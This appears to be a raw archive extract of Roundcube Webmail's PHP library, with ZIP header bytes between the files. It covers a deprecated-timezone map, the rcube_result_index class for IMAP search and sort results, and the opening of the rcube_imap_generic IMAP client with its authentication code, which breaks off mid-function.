            'Australia/West'        => 'Australia/Perth',
            'Brazil/Acre'           => 'America/Rio_Branco',
            'Brazil/DeNoronha'      => 'America/Noronha',
            'Brazil/East'           => 'America/Sao_Paulo',
            'Brazil/West'           => 'America/Manaus',
            'Canada/Atlantic'       => 'America/Halifax',
            'Canada/Central'        => 'America/Winnipeg',
            'Canada/Eastern'        => 'America/Toronto',
            'Canada/Mountain'       => 'America/Edmonton',
            'Canada/Newfoundland'   => 'America/St_Johns',
            'Canada/Pacific'        => 'America/Vancouver',
            'Canada/Saskatchewan'   => 'America/Regina',
            'Canada/Yukon'          => 'America/Whitehorse',
            'CET'                   => 'Europe/Berlin',
            'Chile/Continental'     => 'America/Santiago',
            'Chile/EasterIsland'    => 'Pacific/Easter',
            'CST6CDT'               => 'America/Chicago',
            'Cuba'                  => ' America/Havana',
            'EET'                   => 'Europe/Berlin',
            'Egypt'                 => 'Africa/Cairo',
            'Eire'                  => 'Europe/Dublin',
            'EST'                   => 'America/New_York',
            'EST5EDT'               => 'America/New_York',
            'Factory'               => 'UTC', // ?
            'GB'                    => 'Europe/London',
            'GB-Eire'               => 'Europe/London',
            'GMT'                   => 'UTC',
            'GMT+0'                 => 'UTC',
            'GMT-0'                 => 'UTC',
            'GMT0'                  => 'UTC',
            'Greenwich'             => 'UTC',
            'Hongkong'              => 'Asia/Hong_Kong',
            'HST'                   => 'Pacific/Honolulu',
            'Iceland'               => 'Atlantic/Reykjavik',
            'Iran'                  => 'Asia/Tehran',
            'Israel'                => 'Asia/Jerusalem',
            'Jamaica'               => 'America/Jamaica',
            'Japan'                 => 'Asia/Tokyo',
            'Kwajalein'             => 'Pacific/Kwajalein',
            'Libya'                 => 'Africa/Tripoli',
            'MET'                   => 'Europe/Berlin',
            'Mexico/BajaNorte'      => 'America/Tijuana',
            'Mexico/BajaSur'        => 'America/Mazatlan',
            'Mexico/General'        => 'America/Mexico_City',
            'MST'                   => 'America/Denver',
            'MST7MDT'               => 'America/Denver',
            'Navajo'                => 'America/Denver',
            'NZ'                    => 'Pacific/Auckland',
            'NZ-CHAT'               => 'Pacific/Chatham',
            'Poland'                => 'Europe/Warsaw',
            'Portugal'              => 'Europe/Lisbon',
            'PRC'                   => 'Asia/Shanghai',
            'PST8PDT'               => 'America/Los_Angeles',
            'ROC'                   => 'Asia/Taipei',
            'ROK'                   => 'Asia/Seoul',
            'Singapore'             => 'Asia/Singapore',
            'Turkey'                => 'Europe/Istanbul',
            'UCT'                   => 'UTC',
            'Universal'             => 'UTC',
            'US/Alaska'             => 'America/Anchorage',
            'US/Aleutian'           => 'America/Adak',
            'US/Arizona'            => 'America/Phoenix',
            'US/Central'            => 'America/Chicago',
            'US/East-Indiana'       => 'America/Indiana/Indianapolis',
            'US/Eastern'            => 'America/New_York',
            'US/Hawaii'             => 'Pacific/Honolulu',
            'US/Indiana-Starke'     => 'America/Indiana/Knox',
            'US/Michigan'           => 'America/Detroit',
            'US/Mountain'           => 'America/Denver',
            'US/Pacific'            => 'America/Los_Angeles',
            'US/Pacific-New'        => 'America/Los_Angeles',
            'US/Samoa'              => 'Pacific/Pago_Pago',
            'W-SU'                  => 'Europe/Moscow',
            'WET'                   => 'Europe/Berlin',
            'Z'                     => 'UTC',
            'Zulu'                  => 'UTC',
            // Some of these Etc/X zones are not deprecated, but still problematic
            'Etc/GMT'           => 'UTC',
            'Etc/GMT+0'         => 'UTC',
            'Etc/GMT+1'         => 'Atlantic/Azores',
            'Etc/GMT+10'        => 'Pacific/Honolulu',
            'Etc/GMT+11'        => 'Pacific/Midway',
            'Etc/GMT+12'        => 'Pacific/Auckland',
            'Etc/GMT+2'         => 'America/Noronha',
            'Etc/GMT+3'         => 'America/Argentina/Buenos_Aires',
            'Etc/GMT+4'         => 'America/Manaus',
            'Etc/GMT+5'         => 'America/New_York',
            'Etc/GMT+6'         => 'America/Chicago',
            'Etc/GMT+7'         => 'America/Denver',
            'Etc/GMT+8'         => 'America/Los_Angeles',
            'Etc/GMT+9'         => 'America/Anchorage',
            'Etc/GMT-0'         => 'UTC',
            'Etc/GMT-1'         => 'Europe/Berlin',
            'Etc/GMT-10'        => 'Australia/Sydney',
            'Etc/GMT-11'        => 'Pacific/Norfolk',
            'Etc/GMT-12'        => 'Pacific/Auckland',
            'Etc/GMT-13'        => 'Pacific/Apia',
            'Etc/GMT-14'        => 'Pacific/Kiritimati',
            'Etc/GMT-2'         => 'Africa/Cairo',
            'Etc/GMT-3'         => 'Europe/Moscow',
            'Etc/GMT-4'         => 'Europe/Samara',
            'Etc/GMT-5'         => 'Asia/Yekaterinburg',
            'Etc/GMT-6'         => 'Asia/Almaty',
            'Etc/GMT-7'         => 'Asia/Bangkok',
            'Etc/GMT-8'         => 'Asia/Hong_Kong',
            'Etc/GMT-9'         => 'Asia/Tokyo',
            'Etc/GMT0'          => 'UTC',
            'Etc/Greenwich'     => 'UTC',
            'Etc/UCT'           => 'UTC',
            'Etc/Universal'     => 'UTC',
            'Etc/UTC'           => 'UTC',
            'Etc/Zulu'          => 'UTC',
        ];

        return $deprecated_timezones[$tzname] ?? $tzname;
    }
}
PK
h�\�>Yƺ3�3,program/lib/Roundcube/rcube_result_index.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   SORT/SEARCH/ESEARCH response handler                                |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Class for accessing IMAP's SORT/SEARCH/ESEARCH result
 *
 * @package    Framework
 * @subpackage Storage
 */
class rcube_result_index
{
    public $incomplete = false;

    protected $raw_data;
    protected $mailbox;
    protected $meta   = [];
    protected $params = [];
    protected $order  = 'ASC';

    const SEPARATOR_ELEMENT = ' ';


    /**
     * Object constructor.
     */
    public function __construct($mailbox = null, $data = null, $order = null)
    {
        $this->mailbox = $mailbox;
        $this->order   = $order == 'DESC' ? 'DESC' : 'ASC';
        $this->init($data);
    }

    /**
     * Initializes object with SORT command response
     *
     * @param string $data IMAP response string
     */
    public function init($data = null)
    {
        $this->meta = [];

        $data = explode('*', (string)$data);

        // ...skip unilateral untagged server responses
        for ($i=0, $len=count($data); $i<$len; $i++) {
            $data_item = &$data[$i];
            if (preg_match('/^ SORT/i', $data_item)) {
                // valid response, initialize raw_data for is_error()
                $this->raw_data = '';
                $data_item = substr($data_item, 5);
                break;
            }
            else if (preg_match('/^ (E?SEARCH)/i', $data_item, $m)) {
                // valid response, initialize raw_data for is_error()
                $this->raw_data = '';
                $data_item = substr($data_item, strlen($m[0]));

                if (strtoupper($m[1]) == 'ESEARCH') {
                    $data_item = trim($data_item);
                    // remove MODSEQ response
                    if (preg_match('/\(MODSEQ ([0-9]+)\)$/i', $data_item, $m)) {
                        $data_item = substr($data_item, 0, -strlen($m[0]));
                        $this->params['MODSEQ'] = $m[1];
                    }
                    // remove TAG response part
                    if (preg_match('/^\(TAG ["a-z0-9]+\)\s*/i', $data_item, $m)) {
                        $data_item = substr($data_item, strlen($m[0]));
                    }
                    // remove UID
                    $data_item = preg_replace('/^UID\s*/i', '', $data_item);

                    // ESEARCH parameters
                    while (preg_match('/^([a-z]+) ([0-9:,]+)\s*/i', $data_item, $m)) {
                        $param = strtoupper($m[1]);
                        $value = $m[2];

                        $this->params[$param] = $value;
                        $data_item = substr($data_item, strlen($m[0]));

                        if (in_array($param, ['COUNT', 'MIN', 'MAX'])) {
                            $this->meta[strtolower($param)] = (int) $value;
                        }
                    }

// @TODO: Implement compression using compressMessageSet() in __sleep() and __wakeup() ?
// @TODO: work with compressed result?!
                    if (isset($this->params['ALL'])) {
                        $data_item = implode(self::SEPARATOR_ELEMENT,
                            rcube_imap_generic::uncompressMessageSet($this->params['ALL']));
                    }
                }

                break;
            }

            unset($data[$i]);
        }

        $data = array_filter($data);

        if (empty($data)) {
            return;
        }

        $data = array_first($data);
        $data = trim($data);
        $data = preg_replace('/[\r\n]/', '', $data);
        $data = preg_replace('/\s+/', ' ', $data);

        $this->raw_data = $data;
    }

    /**
     * Checks the result from IMAP command
     *
     * @return bool True if the result is an error, False otherwise
     */
    public function is_error()
    {
        return $this->raw_data === null;
    }

    /**
     * Checks if the result is empty
     *
     * @return bool True if the result is empty, False otherwise
     */
    public function is_empty()
    {
        return empty($this->raw_data)
            && empty($this->meta['max']) && empty($this->meta['min']) && empty($this->meta['count']);
    }

    /**
     * Returns number of elements in the result
     *
     * @return int Number of elements
     */
    public function count()
    {
        if (isset($this->meta['count'])) {
            return $this->meta['count'];
        }

        if (empty($this->raw_data)) {
            $this->meta['count']  = 0;
            $this->meta['length'] = 0;
        }
        else {
            $this->meta['count'] = 1 + substr_count($this->raw_data, self::SEPARATOR_ELEMENT);
        }

        return $this->meta['count'];
    }

    /**
     * Returns number of elements in the result.
     * Alias for count() for compatibility with rcube_result_thread
     *
     * @return int Number of elements
     */
    public function count_messages()
    {
        return $this->count();
    }

    /**
     * Returns maximal message identifier in the result
     *
     * @return int|null Maximal message identifier
     */
    public function max()
    {
        if ($this->is_empty()) {
            return null;
        }

        if (!isset($this->meta['max'])) {
            $this->meta['max'] = null;
            $all = $this->get();
            if (!empty($all)) {
                $this->meta['max'] = (int) max($all);
            }
        }

        return $this->meta['max'];
    }

    /**
     * Returns minimal message identifier in the result
     *
     * @return int|null Minimal message identifier
     */
    public function min()
    {
        if ($this->is_empty()) {
            return null;
        }

        if (!isset($this->meta['min'])) {
            $this->meta['min'] = null;
            $all = $this->get();
            if (!empty($all)) {
                $this->meta['min'] = (int) min($all);
            }
        }

        return $this->meta['min'];
    }

    /**
     * Slices data set.
     *
     * @param int $offset Offset (as for PHP's array_slice())
     * @param int $length Number of elements (as for PHP's array_slice())
     */
    public function slice($offset, $length)
    {
        $data = $this->get();
        $data = array_slice($data, $offset, $length);

        $this->meta          = [];
        $this->meta['count'] = count($data);
        $this->raw_data      = implode(self::SEPARATOR_ELEMENT, $data);
    }

    /**
     * Filters data set. Removes elements not listed in $ids list.
     *
     * @param array $ids List of IDs to remove.
     */
    public function filter($ids = [])
    {
        $data = $this->get();
        $data = array_intersect($data, $ids);

        $this->meta          = [];
        $this->meta['count'] = count($data);
        $this->raw_data      = implode(self::SEPARATOR_ELEMENT, $data);
    }

    /**
     * Reverts order of elements in the result
     */
    public function revert()
    {
        $this->order = $this->order == 'ASC' ? 'DESC' : 'ASC';

        if (empty($this->raw_data)) {
            return;
        }

        $data = $this->get();
        $data = array_reverse($data);
        $this->raw_data = implode(self::SEPARATOR_ELEMENT, $data);

        $this->meta['pos'] = [];
    }

    /**
     * Check if the given message ID exists in the object
     *
     * @param int  $msgid     Message ID
     * @param bool $get_index When enabled element's index will be returned.
     *                        Elements are indexed starting with 0
     *
     * @return mixed False if message ID doesn't exist, True if exists or
     *               index of the element if $get_index=true
     */
    public function exists($msgid, $get_index = false)
    {
        if (empty($this->raw_data)) {
            return false;
        }

        $msgid = (int) $msgid;
        $begin = implode('|', ['^', preg_quote(self::SEPARATOR_ELEMENT, '/')]);
        $end   = implode('|', ['$', preg_quote(self::SEPARATOR_ELEMENT, '/')]);

        if (preg_match("/($begin)$msgid($end)/", $this->raw_data, $m,
            $get_index ? PREG_OFFSET_CAPTURE : 0)
        ) {
            if ($get_index) {
                $idx = 0;
                if (!empty($m[0][1])) {
                    $idx = 1 + substr_count($this->raw_data, self::SEPARATOR_ELEMENT, 0, $m[0][1]);
                }
                // cache position of this element, so we can use it in get_element()
                $this->meta['pos'][$idx] = (int)$m[0][1];

                return $idx;
            }

            return true;
        }

        return false;
    }

    /**
     * Return all messages in the result.
     *
     * @return array List of message IDs
     */
    public function get()
    {
        if (empty($this->raw_data)) {
            return [];
        }

        return explode(self::SEPARATOR_ELEMENT, $this->raw_data);
    }

    /**
     * Return all messages in the result.
     *
     * @return array List of message IDs
     */
    public function get_compressed()
    {
        if (empty($this->raw_data)) {
            return '';
        }

        return rcube_imap_generic::compressMessageSet($this->get());
    }

    /**
     * Return result element at specified index
     *
     * @param int|string  $index  Element's index or "FIRST" or "LAST"
     *
     * @return int|null Element value
     */
    public function get_element($index)
    {
        if (empty($this->raw_data)) {
            return null;
        }

        $count = $this->count();

        // first element
        if ($index === 0 || $index === '0' || $index === 'FIRST') {
            $pos = strpos($this->raw_data, self::SEPARATOR_ELEMENT);
            if ($pos === false) {
                $result = (int) $this->raw_data;
            }
            else {
                $result = (int) substr($this->raw_data, 0, $pos);
            }

            return $result;
        }

        // last element
        if ($index === 'LAST' || $index == $count-1) {
            $pos = strrpos($this->raw_data, self::SEPARATOR_ELEMENT);
            if ($pos === false) {
                $result = (int) $this->raw_data;
            }
            else {
                $result = (int) substr($this->raw_data, $pos);
            }

            return $result;
        }

        // do we know the position of the element or the neighbour of it?
        if (!empty($this->meta['pos'])) {
            if (isset($this->meta['pos'][$index])) {
                $pos = $this->meta['pos'][$index];
            }
            else if (isset($this->meta['pos'][$index-1])) {
                $pos = strpos($this->raw_data, self::SEPARATOR_ELEMENT,
                    $this->meta['pos'][$index-1] + 1);
            }
            else if (isset($this->meta['pos'][$index+1])) {
                $pos = strrpos($this->raw_data, self::SEPARATOR_ELEMENT,
                    $this->meta['pos'][$index+1] - $this->length() - 1);
            }

            if (isset($pos) && preg_match('/([0-9]+)/', $this->raw_data, $m, 0, $pos)) {
                return (int) $m[1];
            }
        }

        // Finally use less effective method
        $data = explode(self::SEPARATOR_ELEMENT, $this->raw_data);

        return (int) $data[$index];
    }

    /**
     * Returns response parameters, e.g. ESEARCH's MIN/MAX/COUNT/ALL/MODSEQ
     * or internal data e.g. MAILBOX, ORDER
     *
     * @param ?string $param Parameter name
     *
     * @return array|string Response parameters or parameter value
     */
    public function get_parameters($param = null)
    {
        $params            = $this->params;
        $params['MAILBOX'] = $this->mailbox;
        $params['ORDER']   = $this->order;

        if ($param !== null) {
            return $params[$param] ?? null;
        }

        return $params;
    }

    /**
     * Returns length of internal data representation
     *
     * @return int Data length
     */
    protected function length()
    {
        if (!isset($this->meta['length'])) {
            $this->meta['length'] = strlen($this->raw_data);
        }

        return $this->meta['length'];
    }
}
PK
h�\��HӅ�,program/lib/Roundcube/rcube_imap_generic.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide alternative IMAP library that doesn't rely on the standard  |
 |   C-Client based version. This allows to function regardless          |
 |   of whether or not the PHP build it's running on has IMAP            |
 |   functionality built-in.                                             |
 |                                                                       |
 |   Based on Iloha IMAP Library. See http://ilohamail.org/ for details  |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 | Author: Ryo Chijiiwa <Ryo@IlohaMail.org>                              |
 +-----------------------------------------------------------------------+
*/

/**
 * PHP based wrapper class to connect to an IMAP server
 *
 * @package    Framework
 * @subpackage Storage
 */
class rcube_imap_generic
{
    public $error;
    public $errornum;
    public $result;
    public $resultcode;
    public $selected;
    public $data  = [];
    public $flags = [
        'SEEN'      => '\\Seen',
        'DELETED'   => '\\Deleted',
        'ANSWERED'  => '\\Answered',
        'DRAFT'     => '\\Draft',
        'FLAGGED'   => '\\Flagged',
        'FORWARDED' => '$Forwarded',
        'MDNSENT'   => '$MDNSent',
        '*'         => '\\*',
    ];

    protected $fp;
    protected $host;
    protected $user;
    protected $cmd_tag;
    protected $cmd_num = 0;
    protected $resourceid;
    protected $extensions_enabled;
    protected $prefs             = [];
    protected $logged            = false;
    protected $capability        = [];
    protected $capability_read   = false;
    protected $debug             = false;
    protected $debug_handler     = false;

    const ERROR_OK       = 0;
    const ERROR_NO       = -1;
    const ERROR_BAD      = -2;
    const ERROR_BYE      = -3;
    const ERROR_UNKNOWN  = -4;
    const ERROR_COMMAND  = -5;
    const ERROR_READONLY = -6;

    const COMMAND_NORESPONSE = 1;
    const COMMAND_CAPABILITY = 2;
    const COMMAND_LASTLINE   = 4;
    const COMMAND_ANONYMIZED = 8;

    const DEBUG_LINE_LENGTH = 4098; // 4KB + 2B for \r\n


    /**
     * Send simple (one line) command to the connection stream
     *
     * @param string $string     Command string
     * @param bool   $endln      True if CRLF need to be added at the end of command
     * @param bool   $anonymized Don't write the given data to log but a placeholder
     *
     * @return int Number of bytes sent, False on error
     */
    protected function putLine($string, $endln = true, $anonymized = false)
    {
        if (!$this->fp) {
            return false;
        }

        if ($this->debug) {
            // anonymize the sent command for logging
            $cut = $endln ? 2 : 0;
            if ($anonymized && preg_match('/^(A\d+ (?:[A-Z]+ )+)(.+)/', $string, $m)) {
                $log = $m[1] . sprintf('****** [%d]', strlen($m[2]) - $cut);
            }
            else if ($anonymized) {
                $log = sprintf('****** [%d]', strlen($string) - $cut);
            }
            else {
                $log = rtrim($string);
            }

            $this->debug('C: ' . $log);
        }

        if ($endln) {
            $string .= "\r\n";
        }

        $res = fwrite($this->fp, $string);

        if ($res === false) {
            $this->closeSocket();
        }

        return $res;
    }

    /**
     * Send command to the connection stream with Command Continuation
     * Requests (RFC3501 7.5) and LITERAL+ (RFC2088) and LITERAL- (RFC7888) support.
     *
     * @param string $string     Command string
     * @param bool   $endln      True if CRLF need to be added at the end of command
     * @param bool   $anonymized Don't write the given data to log but a placeholder
     *
     * @return int|bool Number of bytes sent, False on error
     */
    protected function putLineC($string, $endln = true, $anonymized = false)
    {
        if (!$this->fp) {
            return false;
        }

        if ($endln) {
            $string .= "\r\n";
        }

        $res = 0;
        if ($parts = preg_split('/(\{[0-9]+\}\r\n)/m', $string, -1, PREG_SPLIT_DELIM_CAPTURE)) {
            for ($i = 0, $cnt = count($parts); $i < $cnt; $i++) {
                if ($i + 1 < $cnt && preg_match('/^\{([0-9]+)\}\r\n$/', $parts[$i+1], $matches)) {
                    // LITERAL+/LITERAL- support
                    $literal_plus = false;
                    if (
                        !empty($this->prefs['literal+'])
                        || (!empty($this->prefs['literal-']) && $matches[1] <= 4096)
                    ) {
                        $parts[$i+1] = sprintf("{%d+}\r\n", $matches[1]);
                        $literal_plus = true;
                    }

                    $bytes = $this->putLine($parts[$i].$parts[$i+1], false, $anonymized);
                    if ($bytes === false) {
                        return false;
                    }

                    $res += $bytes;

                    // don't wait if server supports LITERAL+ capability
                    if (!$literal_plus) {
                        $line = $this->readLine(1000);
                        // handle error in command
                        if (!isset($line[0]) || $line[0] != '+') {
                            return false;
                        }
                    }

                    $i++;
                }
                else {
                    $bytes = $this->putLine($parts[$i], false, $anonymized);
                    if ($bytes === false) {
                        return false;
                    }

                    $res += $bytes;
                }
            }
        }

        return $res;
    }

    /**
     * Reads line from the connection stream
     *
     * @param int $size Buffer size
     *
     * @return string Line of text response
     */
    protected function readLine($size = 1024)
    {
        $line = '';

        if (!$size) {
            $size = 1024;
        }

        do {
            if ($this->eof()) {
                return $line;
            }

            $buffer = fgets($this->fp, $size);

            if ($buffer === false) {
                $this->closeSocket();
                break;
            }

            if ($this->debug) {
                $this->debug('S: '. rtrim($buffer));
            }

            $line .= $buffer;
        }
        while (substr($buffer, -1) != "\n");

        return $line;
    }

    /**
     * Reads a line of data from the connection stream including all
     * string continuation literals.
     *
     * @param int $size Buffer size
     *
     * @return string Line of text response
     */
    protected function readFullLine($size = 1024)
    {
        $line = $this->readLine($size);

        // include all string literals untile the real end of "line"
        while (preg_match('/\{([0-9]+)\}\r\n$/', $line, $m)) {
            $bytes = $m[1];
            $out   = '';

            while (strlen($out) < $bytes) {
                $out = $this->readBytes($bytes);
                if ($out === '') {
                    break;
                }

                $line .= $out;
            }

            $line .= $this->readLine($size);
        }

        return $line;
    }

    /**
     * Reads more data from the connection stream when provided
     * data contain string literal
     *
     * @param string  $line    Response text
     * @param bool    $escape  Enables escaping
     *
     * @return string Line of text response
     */
    protected function multLine($line, $escape = false)
    {
        $line = rtrim($line);
        if (preg_match('/\{([0-9]+)\}$/', $line, $m)) {
            $out   = '';
            $str   = substr($line, 0, -strlen($m[0]));
            $bytes = $m[1];

            while (strlen($out) < $bytes) {
                $line = $this->readBytes($bytes);
                if ($line === '') {
                    break;
                }

                $out .= $line;
            }

            $line = $str . ($escape ? $this->escape($out) : $out);
        }

        return $line;
    }

    /**
     * Reads specified number of bytes from the connection stream
     *
     * @param int $bytes Number of bytes to get
     *
     * @return string Response text
     */
    protected function readBytes($bytes)
    {
        $data = '';
        $len  = 0;

        while ($len < $bytes && !$this->eof()) {
            $d = fread($this->fp, $bytes-$len);
            if ($this->debug) {
                $this->debug('S: '. $d);
            }
            $data .= $d;
            $data_len = strlen($data);
            if ($len == $data_len) {
                break; // nothing was read -> exit to avoid apache lockups
            }
            $len = $data_len;
        }

        return $data;
    }

    /**
     * Reads complete response to the IMAP command
     *
     * @param array $untagged Will be filled with untagged response lines
     *
     * @return string Response text
     */
    protected function readReply(&$untagged = null)
    {
        while (true) {
            $line = trim($this->readLine(1024));
            // store untagged response lines
            if (isset($line[0]) && $line[0] == '*') {
                $untagged[] = $line;
            }
            else {
                break;
            }
        }

        if ($untagged) {
            $untagged = implode("\n", $untagged);
        }

        return $line;
    }

    /**
     * Response parser.
     *
     * @param string $string     Response text
     * @param string $err_prefix Error message prefix
     *
     * @return int Response status
     */
    protected function parseResult($string, $err_prefix = '')
    {
        if (preg_match('/^[a-z0-9*]+ (OK|NO|BAD|BYE)(.*)$/i', trim($string), $matches)) {
            $res = strtoupper($matches[1]);
            $str = trim($matches[2]);

            if ($res == 'OK') {
                $this->errornum = self::ERROR_OK;
            }
            else if ($res == 'NO') {
                $this->errornum = self::ERROR_NO;
            }
            else if ($res == 'BAD') {
                $this->errornum = self::ERROR_BAD;
            }
            else if ($res == 'BYE') {
                $this->closeSocket();
                $this->errornum = self::ERROR_BYE;
            }

            if ($str) {
                $str = trim($str);
                // get response string and code (RFC5530)
                if (preg_match("/^\[([a-z-]+)\]/i", $str, $m)) {
                    $this->resultcode = strtoupper($m[1]);
                    $str = trim(substr($str, strlen($m[1]) + 2));
                }
                else {
                    $this->resultcode = null;
                    // parse response for [APPENDUID 1204196876 3456]
                    if (preg_match("/^\[APPENDUID [0-9]+ ([0-9]+)\]/i", $str, $m)) {
                        $this->data['APPENDUID'] = $m[1];
                    }
                    // parse response for [COPYUID 1204196876 3456:3457 123:124]
                    else if (preg_match("/^\[COPYUID [0-9]+ ([0-9,:]+) ([0-9,:]+)\]/i", $str, $m)) {
                        $this->data['COPYUID'] = [$m[1], $m[2]];
                    }
                }

                $this->result = $str;

                if ($this->errornum != self::ERROR_OK) {
                    $this->error = $err_prefix ? $err_prefix.$str : $str;
                }
            }

            return $this->errornum;
        }

        return self::ERROR_UNKNOWN;
    }

    /**
     * Checks connection stream state.
     *
     * @return bool True if connection is closed
     */
    protected function eof()
    {
        if (!$this->fp) {
            return true;
        }

        // If a connection opened by fsockopen() wasn't closed
        // by the server, feof() will hang.
        $start = microtime(true);

        if (feof($this->fp) ||
            ($this->prefs['timeout'] && (microtime(true) - $start > $this->prefs['timeout']))
        ) {
            $this->closeSocket();
            return true;
        }

        return false;
    }

    /**
     * Closes connection stream.
     */
    protected function closeSocket()
    {
        if ($this->fp) {
            fclose($this->fp);
            $this->fp = null;
        }
    }

    /**
     * Error code/message setter.
     */
    protected function setError($code, $msg = '')
    {
        $this->errornum = $code;
        $this->error    = $msg;

        return $code;
    }

    /**
     * Checks response status.
     * Checks if command response line starts with specified prefix (or * BYE/BAD)
     *
     * @param string $string   Response text
     * @param string $match    Prefix to match with (case-sensitive)
     * @param bool   $error    Enables BYE/BAD checking
     * @param bool   $nonempty Enables empty response checking
     *
     * @return bool True any check is true or connection is closed.
     */
    protected function startsWith($string, $match, $error = false, $nonempty = false)
    {
        if (!$this->fp) {
            return true;
        }

        if (strncmp($string, $match, strlen($match)) == 0) {
            return true;
        }

        if ($error && preg_match('/^\* (BYE|BAD) /i', $string, $m)) {
            if (strtoupper($m[1]) == 'BYE') {
                $this->closeSocket();
            }
            return true;
        }

        if ($nonempty && !strlen($string)) {
            return true;
        }

        return false;
    }

    /**
     * Capabilities checker
     */
    protected function hasCapability($name)
    {
        if (empty($this->capability) || empty($name)) {
            return false;
        }

        if (in_array($name, $this->capability)) {
            return true;
        }
        else if (strpos($name, '=')) {
            return false;
        }

        $result = [];
        foreach ($this->capability as $cap) {
            $entry = explode('=', $cap);
            if ($entry[0] == $name) {
                $result[] = $entry[1];
            }
        }

        return $result ?: false;
    }

    /**
     * Capabilities checker
     *
     * @param string $name Capability name
     *
     * @return mixed Capability values array for key=value pairs, true/false for others
     */
    public function getCapability($name)
    {
        $result = $this->hasCapability($name);

        if (!empty($result)) {
            return $result;
        }
        else if ($this->capability_read) {
            return false;
        }

        // get capabilities (only once) because initial
        // optional CAPABILITY response may differ
        $result = $this->execute('CAPABILITY');

        if ($result[0] == self::ERROR_OK) {
            $this->parseCapability($result[1]);
        }

        $this->capability_read = true;

        return $this->hasCapability($name);
    }

    /**
     * Clears detected server capabilities
     */
    public function clearCapability()
    {
        $this->capability        = [];
        $this->capability_read = false;
    }

    /**
     * DIGEST-MD5/CRAM-MD5/PLAIN Authentication
     *
     * @param string $user Username
     * @param string $pass Password
     * @param string $type Authentication type (PLAIN/CRAM-MD5/DIGEST-MD5)
     *
     * @return resource|int Connection resource on success, error code on error
     */
    protected function authenticate($user, $pass, $type = 'PLAIN')
    {
        if ($type == 'CRAM-MD5' || $type == 'DIGEST-MD5') {
            if ($type == 'DIGEST-MD5' && !class_exists('Auth_SASL')) {
                return $this->setError(self::ERROR_BYE,
                    "The Auth_SASL package is required for DIGEST-MD5 authentication");
            }

            $this->putLine($this->nextTag() . " AUTHENTICATE $type");
            $line = trim($this->readReply());

            if ($line[0] == '+') {
                $challenge = substr($line, 2);
            }
            else {
                return $this->parseResult($line);
            }

            if ($type == 'CRAM-MD5') {
                // RFC2195: CRAM-MD5
                $ipad = '';
                $opad = '';
                $xor  = function($str1, $str2) {
                    $result = '';
                    $size   = strlen($str1);
                    for ($i=0; $i<$size; $i++) {
                        $result .= chr(ord($str1[$i]) ^ ord($str2[$i]));
                    }
                    return $result;
                };

                // initialize ipad, opad
                for ($i=0; $i<64; $i++) {
                    $ipad .= chr(0x36);
                    $opad .= chr(0x5C);
                }

                // pad $pass so it's 64 bytes
                $pass = str_pad($pass, 64, chr(0));

                // generate hash
                $hash  = md5($xor($pass, $opad) . pack("H*",
                    md5($xor($pass, $ipad) . base64_decode($challenge))));
                $reply = base64_encode($user . ' ' . $hash);

                // send result
                $this->putLine($reply, true, true);
            }
            else {
                // RFC2831: DIGEST-MD5
                // proxy authorization
                if (!empty($this->prefs['auth_cid'])) {
                    $authc = $this->prefs['auth_cid'];
                    $pass  = $this->prefs['auth_pw'];
                }
                else {
                    $authc = $user;
                    $user  = '';
                }

                $auth_sasl = new Auth_SASL;
                $auth_sasl = $auth_sasl->factory('digestmd5');
                $reply     = base64_encode($auth_sasl->getResponse($authc, $pass,
                    base64_decode($challenge), $this->host, 'imap', $user));

                // send result
                $this->putLine($reply, true, true);
                $line = trim($this->readReply());

                if ($line[0] != '+') {
                    return $this->parseResult($line);
                }

                // check response
                $challenge = substr($line, 2);
                $challenge = base64_decode($challenge);
                if (strpos($challenge, 'rspauth=') === false) {
                    return $this->setError(self::ERROR_BAD,
                        "Unexpected response from server to DIGEST-MD5 response");
                }

                $this->putLine('');
            }

            $line   = $this->readReply();
            $result = $this->parseResult($line);
        }
        else if ($type == 'GSSAPI') {
            if (!extension_loaded('krb5')) {
                return $this->setError(self::ERROR_BYE,
                    "The krb5 extension is required for GSSAPI authentication");
            }

            if (empty($this->prefs['gssapi_cn'])) {
                return $this->setError(self::ERROR_BYE,
                    "The gssapi_cn parameter is required for GSSAPI authentication");
            }

            if (empty($this->prefs['gssapi_context'])) {
                return $this->setError(self::ERROR_BYE,
                    "The gssapi_context parameter is required for GSSAPI authentication");
            }

            putenv('KRB5CCNAME=' . $this->prefs['gssapi_cn']);

            try {
                $ccache = new KRB5CCache();
                $ccache->open($this->prefs['gssapi_cn']);
                $gssapicontext = new GSSAPIContext();
                $gssapicontext->acquireCredentials($ccache);

                $token   = '';
                $success = $gssapicontext->initSecContext($this->prefs['gssapi_context'], null, null, null, $token);
                $token   = base64_encode($token);
            }
            catch (Exception $e) {
                trigger_error($e->getMessage(), E_USER_WARNING);
                return $this->setError(self::ERROR_BYE, "GSSAPI authentication failed");
            }

            $this->putLine($this->nextTag() . " AUTHENTICATE GSSAPI " . $token);
            $line = trim($this->readReply());

            if ($line[0] != '+') {
                return $this->parseResult($line);
            }

            try {
                $itoken = base64_decode(substr($line, 2));

                if (!$gssapicontext->unwrap($itoken, $itoken)) {
                    throw new Exception("GSSAPI SASL input token unwrap failed");
                }

                if (strlen($itoken) < 4) {
                    throw new Exception("GSSAPI SASL input token invalid");
                }

                // Integrity/encryption layers are not supported. The first bit
                // indicates that the server supports "no security layers".
                // 0x00 should not occur, but support broken implementations.
                $server_layers = ord($itoken[0]);
                if ($server_layers && ($server_layers & 0x1) != 0x1) {
                    throw new Exception("Server requires GSSAPI SASL integrity/encryption");
                }

                // Construct output token. 0x01 in the first octet = SASL layer "none",
